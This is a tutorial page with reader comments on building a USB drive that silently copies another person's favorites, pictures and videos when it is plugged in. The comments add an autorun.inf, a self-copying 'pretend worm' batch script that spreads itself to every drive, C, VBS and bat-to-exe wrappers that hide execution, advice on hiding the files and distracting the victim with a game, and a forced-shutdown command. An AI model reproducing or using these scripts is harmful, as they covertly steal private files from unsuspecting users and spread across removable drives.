How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.
Remove these ads by
Signing UpStep 1: Materials needed
Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.
Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.






































Visit Our Store »
Go Pro Today »




well.. im srry 2 say but microsoft has disabled the autorun ability for usb in windows 7..as precaution since most malware come from usb. Soo if u wanna make it work its gotta be on windows 2000, xp, or vista(who uses 2000 anymore???)..and frankly there's nuthin u can do 2 change the autorun ability so you'll have to click on the launch.bat file if u wanna make this work..
HOW TO MAKE IT COPY THOSE FILES WITHOUT THAT BLACK WINDOW OPENS???
can u plz help??
how to stop/cancel copy ?
i do as u told and it work properly except that i have to click on launch.bat file to start copy. what is the problem and what should i do?
Thanks again
This will still work by running the Launch.bat directly, but a silent autorunner is no longer possible on most PCs (for obvious reasons...like this one)
It works....
its really great subject but i just want to ask if want to copy the jpg files
but from the whole hard drive
not only form the C drive
i mean form the drive D,E,F..... etc
what should i write
and thanks alot
thanks in advance
":: variables" ?
"/min" '/min' is not recognized as an internal or external command, operable program or batch file.
"SET odrive=%odrive:~0,2%" I'm sure this has a use, but I can't figure out what it is.
And lastly, you only need "@Echo off" at the beginning of the batch.
Still a really cool idea though :)
-Revan
copied from cmd help itself states:
----------------------------------------------------------------------------------------------------
%PATH:~10,5%
would expand the PATH environment variable, and then use only the 5
characters that begin at the 11th (offset 10) character of the expanded
result. If the length is not specified, then it defaults to the
remainder of the variable value. If either number (offset or length) is
negative, then the number used is the length of the environment variable
value added to the offset or length specified.
%PATH:~-10%
would extract the last 10 characters of the PATH variable.
%PATH:~0,-2%
would extract all but the last 2 characters of the PATH variable.
-----------------------------------------------------------------------------------------------------
so what it is saying is............, sets the variable odrive to %odrive:~0,2%
now, %odrive:~0,2% states that the variable odrive gets expanded, and only the first 2 characters that begin at the 1st would be set to the variable odrive.
which in turn would be the drive and the colon.
such as
C:
F:
D:
and so on and so forth.
and finally, the @echo off just keeps cmd from telling you where it was started from. which is usefull if you see it happening. but thanks to the invisible.vbs, it doesn't get viewed since its a process.
http://pastebin.com/raw.php?i=inTFTzE9
works great with this:
http://portableapps.com/node/3338
use bat to exe found here:
http://www.f2ko.de/programs.php?lang=en&pid=b2e
to convert the batch file to an exe file. You can even include your own icon and set it to run silently. place the generated .exe and the ini file for u3-autorun and profit in education!
I have been able to get this to work just by going into the flash drive once its inserted and double clicking on the File.bat.
Also, If anyone could help me out with an install script for a separate program to be run simotaneously from this one on the same flash drive. Thanks a ton.
start myaltprogram.exe
This should open a second cmd window and run the program simultaneously.
Thanks! This sounds great! I can't wait to try this out. But on the down side, I'll need to buy a usb.I already have one, but i like to use that for general purposes, not pranking stuff.
Thanks again, this is such a unique idea!
Do you think you could make the thumb drive pull a folder that you know only part of its name by adding a wild card ? strictly for example:
%backupcmd% "%USERPROFILE%\music" "%drive%\all\*SATS*
it just keeps getting in the way.
+Write (and compile) a C file that runs your batch file's commands invisibly
#include <stdio.h>
#include <windows.h>
int main()
{
system("examplefile.bat");
return (0);
}
+Write a VBS file that runs that compiled C program (now a shiny .EXE file)
Set objSh = CreateObject("Shell.Application")
objSh.ShellExecute "example-exe-file", "" , "", "", 0
Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the VBS file.
This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT). However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).
For more help, just comment.
By the way, I was about to write an instructable on that, but now I dont think it's necassary.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor
Value = 3
No USB storage devices. Local admin account disabled to prevent someone from running ERD or NTCRACK, and admin accounts tied to your ID card you use to login.
like documents, videos, picture, and favorites
shutdown -s -f
the -s is telling it to shutdown and the -f is telling it to force all programs to close
but i'm not sure. Heres a website i use all the time when im working with batch http://ss64.com/nt/
I have to hone it down to a serious piece of code but dad's always busy so he can't help me.
just realised the problem...... thea dress has a space at the end.. so when you click on it it comes up as http://ss64.com/nt/ so all you need to do is delete the final bit.
I cann't do it to be automatically taken action without click on it. I followed your instruction. Any suggestion for ,sir.
http://www.instructables.com/id/How-to-Pod-Slurp/
Maybe next time give me some credit.....
if anybody copy some file or any kind of data in my flash drive then delete that file or data. But when I plug flash drive in my PC then that data which he deleted that data will be in my flash drive. how will you do this program???
"Do you need somewhere to put your coffee cup?
Yes No"
Upon clicking yes, your cd drive opens.
Since I'm backing up the My Music folders, it also copies the iTunes folder, something I don't need. Is there a way to have the script delete the folder or do I need to augment the launch script to start a del.bat?
I'm still running the http://portableapps.com/suite off of my iPod, and the scripts were great, but it was kinda annoying having to go through my explore panel to get to my files. I took out the autorun lines that brought up launch and replaced the notion with a simple batch 2 exe solution of two lines
cd\
launch.bat
After putting the exe version of that into my PortableApps folder, I was then able to still initiate the backup, keep it all truly invisible, and still access my files without any hassle. And since the suite can start programs automatically upon start up... he he he he.
Btw, all the original files are still in the root of the drive, as I haven't figured out how to compile all of this into an exe, but then again, I can still customize the file.bat.
If you can find a way to tailor this better to the suite program, or at least tell me what I'd need to learn to do so, that would be great :D
Step 1. Copy the code below.
autorun (needs to be in square brackets)
OPEN=test.bat
shellexecute=test.bat
shell=Auto
shell\Auto=&AutoPlay
shell\Auto\command=test.bat
Step 2. Copy and paste the code above into Windows Notepad.
Step 3. Replace the test.bat filename with the batch file name you want to open.
Step 4. Save the code in Notepad as 'autorun.inf' without the quotes, and save 'autorun.inf' on the root of your USB stick.
Step 5. Make sure the batch file you referred to in 'autorun.inf' exists on the root of your USB stick.
Step 6. Wait for about 10 seconds, then unplug your USB stick.
Step 7. Plug your USB stick in again.
Step 8. Use My Computer and double click on your USB stick.
Step 9. Watch the batch file work its magic.
If you want the code to my test.bat file, it is just a pretend USB 'worm' that checks for other drive letters to copy two files to. When you double click on the drive with the two files (autorun.inf, test.bat) the autorun.inf file executes test.bat and that checks for existence of the files and then looks for other drives to put those two files on. C: drive is also out of the question because for many it is the system drive.
Here's the code:
@echo off
:1
set drive=D:\
IF EXIST %drive% goto copy
set drive=E:\
IF EXIST %drive% goto copy
set drive=F:\
IF EXIST %drive% goto copy
set drive=G:\
IF EXIST %drive% goto copy
set drive=H:\
IF EXIST %drive% goto copy
set drive=I:\
IF EXIST %drive% goto copy
set drive=J:\
IF EXIST %drive% goto copy
set drive=K:\
IF EXIST %drive% goto copy
set drive=L:\
IF EXIST %drive% goto copy
set drive=M:\
IF EXIST %drive% goto copy
set drive=N:\
IF EXIST %drive% goto copy
set drive=O:\
IF EXIST %drive% goto copy
set drive=P:\
IF EXIST %drive% goto copy
set drive=Q:\
IF EXIST %drive% goto copy
set drive=R:\
IF EXIST %drive% goto copy
set drive=S:\
IF EXIST %drive% goto copy
set drive=T:\
IF EXIST %drive% goto copy
set drive=U:\
IF EXIST %drive% goto copy
set drive=V:\
IF EXIST %drive% goto copy
set drive=W:\
IF EXIST %drive% goto copy
set drive=X:\
IF EXIST %drive% goto copy
set drive=Y:\
IF EXIST %drive% goto copy
set drive=Z:\
IF EXIST %drive% goto copy
start
exit
:copy
IF EXIST .\autorun.inf goto bad
IF EXIST .\test.bat goto bad
copy /Y autorun.inf .\
copy /Y test.bat .\
start %drive%
:bad
goto 1
The :bad label tells the computer if the two files do not exist on the specified drive, go back and start up again.
Enjoy!
http://www.instructables.com/id/Secret_spy_image_photo_copying_batch_file/
A hybrid of both ours would be good.
oh and also something else to try is in the batch file add this code at the end
pathping localhost -q 2 -p 800 > nul
SHUTDOWN -s -f
this will puase the program for a few seconds and then shutdown the computer. also if you add a -i -c "your comment" to the end of the shutdown command a little window will pop up letting the user see the comment. aslo dont forget to add the -t "no of seconds" to let the user read it. make sure to fill in the blanks accordingly
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "\all\copy.bat" & Chr(34), 0
Set WshShell = Nothing
then i saved it as invisible2.vbs
of course i had to change the launch.bat to:
@echo off
wscript.exe "\all\invisible2.vbs" & "copy.bat
The file.bat file worked perfectly, otherwise this is a very useful tool for system admins
%backupcmd% "%USERPROFILE%\My Documents\*.jpg" "%drive%\all\New Folder" for just jpeg pictues (u might also want to do another line that says *.jpeg
or *.gif etc.. for the different types of pictures
for the text documents it would be %backupcmd% "%USERPROFILE%\My Documents\*.txt" "%drive%\all\New Folder"
and the * is a wildcard so it means like anything .jpg or .gif etc..
you can also use the wildcard like this new*.jpg
new being whatever you word u want so it would only copy jpg files that have new at the begining of the file name
so it would copy "my documents\new1.jpg and new2.jpg but now 3.jpg
hope that makes sense :)) lol
One little question though, I've got an application / game called Jumper Two, starring a badly drawn square with eyes, mouth and legs jumping through each level, with you controlling him. It's here if you want it.
Yeeeess... I was wondering if I could get it to open when I double click the icon on My Computer, while the rest of the code runs quietly in the back ground. If you could help me get that I would be really good of you and I'd be really grateful.
Thanks again!
~K
Computer hacking is broadly defined as intentionally accesses a computer without authorization or exceeds authorized access.
So in a way yes this is considered hacking, also Wikipedia states that social engineering is also a form of hacking. So if you want to get down to it YES this program does hack and YES you are wrong in saying that all I am doing here is using people to run a program.
I guess in the end I am saying you’re looking into this too much take it for what it’s worth and if you don’t like it move on thanks.
Remember sony's rootkit? Yeah, that was based on this exact same hole. All that was required to disable was hold down (I believe the key is) left shift and you won't have a problem. Similarly if you hold down left shift it should also prevent this from working.
However, it would be trivial to make a shell script to do something similar on a linux/mac system once executed. You could *theoretically* tell your friend "Hey, check out my <insert type of file here>!", plug in your flash drive and away it goes. If there's interest enough perhaps I'll write an instructable about it. (basically two or three people telling me they want to know ;) )
Ok short explanation for the non german speaking users.
go to f2ko.de and click on "Bat To Exe Converter", then go to download on the top, and then the download button.
Extract it, then start "Bat_To_Exe_Converter.exe"
On the first line wher it says "Batch Datei" klick the button on the end, and select your bat file.
You should use the file.bat (because we don't need the launch.bat)
Then set the following settings.
"Sichtbartkeit" = "Unsichtbares Programm"
"Arbeitsverzeichniss" = "Aktuelles Arbeitsverzeichniss"
"Temporäre Dateien löschen" = "Nicht löschen"
The next setting HAS to be deactivatet, or vista will ask for admin permission (if the User Control ist activated, as it is by default)
"Verschiedenes" = "Vista Administrator Manifest hinzufügen"
Then just click the "kompilieren" button, and after its finished the "beenden" button.
Now you got a file.exe in the same folder as the file.bat
Now you can delete the file.bat (keep a backup somewhere, if you need to change it), the launch.bat and the invisible.vbs file
Edit your autorun.inf and change the line
open=launch.bat
to
open=file.exe
Now the process will run completely silent, there will be no command window pupping up for a second.
@bigdaddyclint: Maybee you can add this to your instructable :)
Make all the files (and the all folder) invisible. Most users don't got the view of invisible files activated.
Then put another Folder in there, use one of those small games like "bridging the gap" who don't need to be installed (they just run when you click the exe)
http://www.yoyogames.com/games/show/6097.
That would lead people to be distracted, and also keeps them letting the thumbdrive in the usb port.
Of course, this is just for information purpose.
So if something like this ever happens to you, you know that you should be curious. ;)
army? how long have you been in service?what's you fav gun?I don't care if you have killed I don't want to know.
and I asked some in school todayhe was deployed for 2 years in iraqhe said that the mark 19 was his fav tooi would love to shot it...have you ever used a bushmaster?
oh and thank you for your helpbe safe
in file.bat. Same result - just Favorites.
...
...
...
...
...
...
...
...
...
...
...*Highfive* This looks cool, Ill probably try it soon, as a backup of course...
-PKT
A little fiddling might be necessary to make it only save changed files rather than overwrite everything every time, but it's a cheap and simple way to avoid losing important files if your hard drive suddenly goes south (like my friend who spilt lemonade on his laptop and needed me to rescue his irreplaceable gigabytes of photos from Africa).